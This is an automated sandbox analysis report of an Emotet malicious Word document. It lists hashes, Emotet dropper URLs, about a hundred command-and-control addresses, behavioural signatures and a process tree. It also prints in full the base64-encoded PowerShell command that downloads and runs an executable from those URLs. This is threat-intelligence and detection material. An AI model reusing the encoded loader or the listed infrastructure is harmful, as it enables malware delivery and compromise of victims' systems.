emotet | 03a110452bdd6b8d8db2cf5a558d84903bb06553c17f563b3abd11fbb3d946ef

Analysis

max time kernel
136s
max time network
152s
platform
windows10_x64
resource
win10v200722
submitted
22/09/2020, 07:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
emotet_e2_03a110452bdd6b8d8db2cf5a558d84903bb06553c17f563b3abd11fbb3d946ef_2020-09-22__072321197959._doc.doc
Size 194KB
Sample200922-y2bagwvdde
SHA256 03a110452bdd6b8d8db2cf5a558d84903bb06553c17f563b3abd11fbb3d946ef
MD5 18e8524253542c29fa902ad81d7fc003
SHA1 894ff7fb15d29bf106e49ea2b67ff1e32f44b4b8
SHA512 8efb7e85c057b89eeb0c0773d12071d326e50bd47fe7191715b29b4d4546459657d27125b28f8c4c9bd892091cc5bc0323ac2755f4cdb34437300d0e8d4c4e0d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://eaglehatch.com/wp-content/TwA6w6/
exe.dropper
https://www.tiendajuanvaldez.com/wp-admin/igkf/
exe.dropper
https://aspeninstitute.es/catalogmap/fAatpjn/
exe.dropper
https://1horse.ir/wp-includes/7Ev/
exe.dropper
https://theshopclubs.com/wp-admin/7/
exe.dropper
https://eliteweb.cl/dev-area/6V/
exe.dropper
https://stockval.com.br/wp-admin/68K36/

Extracted

Family

emotet

24.43.32.186:80
38.111.46.46:8080
134.209.36.254:8080
162.241.242.173:8080
74.120.55.163:80
61.92.17.12:80
219.74.18.66:443
156.155.166.221:80
104.131.44.150:8080
37.139.21.175:8080
94.1.108.190:443
169.239.182.217:8080
220.245.198.194:80
139.99.158.11:443
91.211.88.52:7080
62.75.141.82:80
174.45.13.118:80
137.119.36.33:80
188.219.31.12:80
103.86.49.11:8080
104.131.11.150:443
124.41.215.226:80
78.187.156.31:80
104.32.141.43:80
47.144.21.12:443
93.147.212.206:80
200.123.150.89:443
121.7.127.163:80
200.114.213.233:8080
94.200.114.161:80
24.179.13.119:80
84.39.182.7:80
97.82.79.83:80
87.106.136.232:8080
5.196.74.210:8080
24.43.99.75:80
213.196.135.145:80
94.23.237.171:443
74.134.41.124:80
96.249.236.156:443
95.213.236.64:8080
137.59.187.107:8080
75.139.38.211:80
82.225.49.121:80
123.176.25.234:80
194.187.133.160:443
62.30.7.67:443
109.74.5.95:8080
176.111.60.55:8080
24.137.76.62:80
37.187.72.193:8080
110.145.77.103:80
153.137.36.142:80
1.221.254.82:80
195.7.12.8:80
110.5.16.198:80
185.94.252.104:443
104.236.246.93:8080
78.24.219.147:8080
85.152.162.105:80
85.105.205.77:8080
139.59.60.244:8080
79.137.83.50:443
50.91.114.38:80
172.91.208.86:80
74.219.172.26:80
83.169.36.251:8080
153.232.188.106:80
209.141.54.221:8080
168.235.67.138:7080
139.130.242.43:80
121.124.124.40:7080
89.216.122.92:80
203.153.216.189:7080
187.161.206.24:80
157.245.99.39:8080
195.251.213.56:80
71.72.196.159:80
174.102.48.180:443
181.169.34.190:80
140.186.212.146:80
201.173.217.124:443
42.200.107.142:80
79.98.24.39:8080
5.39.91.110:7080
139.162.108.71:8080
74.208.45.104:8080
61.19.246.238:443
50.35.17.13:80
95.179.229.244:8080
216.139.123.119:80
120.150.60.189:80
219.75.128.166:80
68.188.112.97:80
107.5.122.110:80
87.106.139.101:8080
46.105.131.79:8080
82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	500	3476	powershell.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1340-14-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1340-14-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1340-13-0x0000000000440000-0x0000000000452000-memory.dmp	emotet
behavioral2/memory/1340-13-0x0000000000440000-0x0000000000452000-memory.dmp	emotet
behavioral2/memory/3712-17-0x00000000004A0000-0x00000000004B2000-memory.dmp	emotet
behavioral2/memory/3712-17-0x00000000004A0000-0x00000000004B2000-memory.dmp	emotet
behavioral2/memory/3712-18-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet
behavioral2/memory/3712-18-0x00000000004C0000-0x00000000004D0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	500	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1340	Eaw3l8.exe
3712	mscories.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\tokenbinding\mscories.exe	Eaw3l8.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1724	WINWORD.EXE
1724	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
500	powershell.exe
500	powershell.exe
500	powershell.exe
3712	mscories.exe
3712	mscories.exe
3712	mscories.exe
3712	mscories.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	500	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE
1724	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 500 wrote to memory of 1340	500	powershell.exe	78
PID 500 wrote to memory of 1340	500	powershell.exe	78
PID 500 wrote to memory of 1340	500	powershell.exe	78
PID 1340 wrote to memory of 3712	1340	Eaw3l8.exe	79
PID 1340 wrote to memory of 3712	1340	Eaw3l8.exe	79
PID 1340 wrote to memory of 3712	1340	Eaw3l8.exe	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_03a110452bdd6b8d8db2cf5a558d84903bb06553c17f563b3abd11fbb3d946ef_2020-09-22__072321197959._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABTAGUAZQBiAHgANgB1AD0AKAAoACcATQAnACsAJwBsADIAOAAnACkAKwAoACcAeQAnACsAJwBzADkAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAFIAUAByAG8ARgBpAEwARQBcAGcAWQByADEAagBRAEsAXABrAGMAUQBFAEYAaAA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAQwB0AG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAHIASQBgAFQAeQBwAGAAUgBvAGAAVABPAGAAQwBvAEwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACgAJwAxACcAKwAnADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAxADEALAAgACcAKwAnAHQAJwArACcAbABzACcAKQApADsAJABBAGgAbABhAHQAMQAzACAAPQAgACgAKAAnAEUAYQAnACsAJwB3ACcAKQArACcAMwAnACsAJwBsADgAJwApADsAJABLADUAYgB6AGsAMQBhAD0AKAAnAFYAbwAnACsAJwAxAG0AJwArACgAJwBvAHYAJwArACcAMQAnACkAKQA7ACQAVgBkAHYAYwBtAGcAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBHAHkAcgAxAGoAcQBrAHsAMAB9AEsAYwAnACsAJwBxACcAKwAnAGUAZgBoADUAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBoAEEAUgBdADkAMgApACsAJABBAGgAbABhAHQAMQAzACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABKAGUAYQBpADkAegBuAD0AKAAnAFgAJwArACcAZgAnACsAKAAnAG8AOQBlAHYAJwArACcAYgAnACkAKQA7ACQASgBtADEAMABlAGkAOQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAQgBjAEwASQBFAE4AdAA7ACQAUQB3AHUAMgBlADAAdAA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGUAYQBnACcAKQArACgAJwBsAGUAaABhAHQAJwArACcAYwAnACkAKwAnAGgAJwArACgAJwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuACcAKQArACcAdABlACcAKwAnAG4AJwArACcAdAAnACsAKAAnAC8AVAAnACsAJwB3AEEANgAnACkAKwAoACcAdwAnACsAJwA2AC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAHcAdwB3ACcAKwAnAC4AJwArACcAdABpACcAKQArACcAZQBuACcAKwAoACcAZABhAGoAdQAnACsAJwBhACcAKQArACgAJwBuAHYAJwArACcAYQBsACcAKQArACgAJwBkAGUAegAuACcAKwAnAGMAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvAGkAZwBrACcAKwAnAGYAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAYQBzAHAAZQBuACcAKwAnAGkAbgBzACcAKQArACgAJwB0AGkAdAAnACsAJwB1AHQAZQAuACcAKwAnAGUAcwAnACkAKwAoACcALwBjAGEAJwArACcAdABhACcAKQArACgAJwBsACcAKwAnAG8AZwBtAGEAcAAvAGYAQQBhAHQAcABqACcAKwAnAG4ALwAqAGgAdAB0ACcAKwAnAHAAcwA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAMQBoACcAKwAnAG8AJwApACsAKAAnAHIAcwAnACsAJwBlACcAKQArACcALgBpACcAKwAoACcAcgAnACsAJwAvAHcAJwArACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAdQAnACsAJwBkAGUAcwAvADcARQB2AC8AKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAoACcAcAAnACsAJwBzADoAJwApACsAJwAvACcAKwAoACcALwB0AGgAZQBzAGgAJwArACcAbwBwACcAKwAnAGMAJwApACsAKAAnAGwAdQAnACsAJwBiAHMALgBjAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpAG4AJwArACcALwAnACsAJwA3ACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAOgAvAC8AZQBsAGkAJwApACsAJwB0AGUAJwArACgAJwB3AGUAYgAnACsAJwAuAGMAJwArACcAbAAvACcAKQArACgAJwBkAGUAJwArACcAdgAtAGEAcgBlAGEALwA2ACcAKwAnAFYAJwArACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAvAC8AcwAnACkAKwAoACcAdABvACcAKwAnAGMAJwApACsAKAAnAGsAJwArACcAdgBhACcAKQArACcAbAAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALgBiAHIALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYQBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnADYAOABLACcAKQArACgAJwAzACcAKwAnADYALwAnACkAKQAuACIAUwBQAEwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVADQAMgBoAHYAZwBrAD0AKAAnAE0AJwArACgAJwBoACcAKwAnADkAdAA5AGcAdAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFQAMAB0ADYAcQA0AHgAIABpAG4AIAAkAFEAdwB1ADIAZQAwAHQAKQB7AHQAcgB5AHsAJABKAG0AMQAwAGUAaQA5AC4AIgBEAG8AdwBgAE4AYABsAG8AYQBkAGYASQBsAEUAIgAoACQAVAAwAHQANgBxADQAeAAsACAAJABWAGQAdgBjAG0AZwBlACkAOwAkAEwAZQBqAHkAbAB5AHAAPQAoACcATQBmACcAKwAoACcAMwAnACsAJwBlAGwAYwAnACkAKwAnADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFYAZAB2AGMAbQBnAGUAKQAuACIATABlAG4AYABHAGAAVABoACIAIAAtAGcAZQAgADIANAA2ADkAMAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABWAGQAdgBjAG0AZwBlACkAOwAkAEwAdQB3ADYAdABsAGcAPQAoACgAJwBIADIAJwArACcAMQAnACkAKwAoACcAMwA1ACcAKwAnADAAJwApACsAJwAyACcAKQA7AGIAcgBlAGEAawA7ACQAWQByAGEAbQBvADAAZQA9ACgAKAAnAEIAJwArACcAMgBwACcAKQArACcAcAAnACsAKAAnAGYAJwArACcAbwBwACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAGcAdAB4ADgAdwA5AD0AKAAnAEIAJwArACgAJwA1AGEAOAAnACsAJwB6ADkAeAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:500
- C:\Users\Admin\Gyr1jqk\Kcqefh5\Eaw3l8.exe
  "C:\Users\Admin\Gyr1jqk\Kcqefh5\Eaw3l8.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\SysWOW64\tokenbinding\mscories.exe
    "C:\Windows\SysWOW64\tokenbinding\mscories.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3712

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/500-8-0x0000023DF7940000-0x0000023DF7941000-memory.dmp

Download

memory/500-7-0x00007FFB2E890000-0x00007FFB2F27C000-memory.dmp

Download

memory/500-9-0x0000023DF7D80000-0x0000023DF7D81000-memory.dmp

Download

memory/1340-14-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/1340-13-0x0000000000440000-0x0000000000452000-memory.dmp

Download

memory/1724-6-0x0000022E653AA000-0x0000022E653AE000-memory.dmp

Download

memory/1724-0-0x00007FFB35C50000-0x00007FFB36316000-memory.dmp

Download

memory/1724-5-0x0000022E653AE000-0x0000022E653AF000-memory.dmp

Download

memory/1724-4-0x0000022E653AA000-0x0000022E653AE000-memory.dmp

Download

memory/1724-3-0x0000022E653AF000-0x0000022E653B1000-memory.dmp

Download

memory/1724-2-0x0000022E653AA000-0x0000022E653AE000-memory.dmp

Download

memory/1724-1-0x0000022E65343000-0x0000022E65354000-memory.dmp

Download

memory/3712-17-0x00000000004A0000-0x00000000004B2000-memory.dmp

Download

memory/3712-18-0x00000000004C0000-0x00000000004D0000-memory.dmp

Download